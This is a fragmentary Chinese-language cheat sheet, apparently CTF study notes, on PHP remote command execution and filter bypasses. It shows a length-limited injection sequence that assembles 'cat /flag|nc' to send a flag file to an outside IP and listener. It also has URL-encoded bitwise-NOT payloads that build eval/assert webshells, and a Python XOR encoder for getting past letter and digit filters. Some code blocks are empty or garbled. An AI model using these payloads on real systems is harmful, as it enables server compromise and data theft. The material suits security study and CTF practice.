rce
Last Update:
rce
一些命令
常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
无参数函数print_r()、
scandir()与
highlight_file(‘);
1 |
|
xxd:读取二进制文件 od:以二进制读取
1 |
|
ob_start函数会接收我们往流里输入的参数
1 |
|
执行system(‘whoami’)
长度限制
前置知识:
和>>:
b 类似于touch b,即直接创建文件b,通过>来将命令执行结果写入文件会覆盖掉文件原本的内容
echo kuai > a #创建文件a,并把字符串’kuai’写入到文件a里
用来追加内容
kuai >>a #在文件a末尾追加字符串’kuai’
ls -t命令:按时间顺序,由近及远排序(后创建的排在前面,只能精确到秒)
组合运用示例:
#>ag
#>fl
#>”t”
#>ca
#ls -t
ca ‘t ‘ fl ag
按时间顺序反向依次创建文件,”ca” “‘t “ “fl” “ag”
再通过ls -t > x,创建文件x,并把’Is -t执行结果写入文件x里 。
实际上在创建文件时,加入”",把命令”ca””t””f””ag”连接起来
#>ag
#fl\
#>”t\“
#>ca\
#ls -t > a
前面的‘\’把后面的‘\’实体化变成字符 ,把一段已经拼接好的文件名输出到输出到一个文件a里,然后把这个文件a当成一个脚本去执行
sh:sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取
dir及*:
*:相当于$(dir *)
#dir *
echo ffff
#$(dir )
ffff //执行echo命令输出ffff
#
ffff //执行echo命令输出ffff
如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev:翻转文件每一行内容
长度限制为7绕过方法:
期望执行的命令:
cat /flag|nc 192.168.1.124 7777
cat /flag展示内容,再通过nc反弹提交到192.168.1.124:7777,kali的IP地址192.168.1.124监听端口7777
去kali把监听打开 :
nc -lvp 7777
利用逻辑:
创建短的文件名
Is -t 按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令
?cmd=>7777
?cmd=>\ \
?cmd=>>124\
?cmd=>1.\
?cmd=>168.\
?cmd=>192.\
?cmd=>c\ \
?cmd=>|n\
?cmd=>flag\
?cmd=>t\ \
?cmd=>ca\ #从近往远的文件名能构成命令cat /flag|nc 192.168.1.124 7777
?cmd=ls -t>a #将文件名按从近往远的顺序写入到文件a
无数字字母
自增
(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)
(~%8F%97%8F%96%91%99%90)();
phpinfo()
(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);
(eval($_POST[love]))
(%9E%8C%8C%9A%8D%8B)(%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6);
eval($_POST[cmd])
(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%D0%99%93%9E%98);
异或
py3脚本
def encode(command):
code = “~`!@#$%&*()-=+_[]{};:<>,.?/|”
result_1 = “”
result_2 = “”
for x in command:
if not command.isalpha():
result_1 += x
result_2 += x
for y in code:
if chr(ord(x) ^ ord(y)) in code:
result_1 += y
result_2 += chr(ord(x) ^ ord(y))
break
return f’(“{result_1}” ^ “{result_2}”)’
a=encode(‘ls’)
print(a)
临时文件
全角绕过
abcdefhijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
`~!@#$%^&*()_+=-{}[]:";'\|<>?,./,。
1234567890
popen和执行的命令不得使用全角英文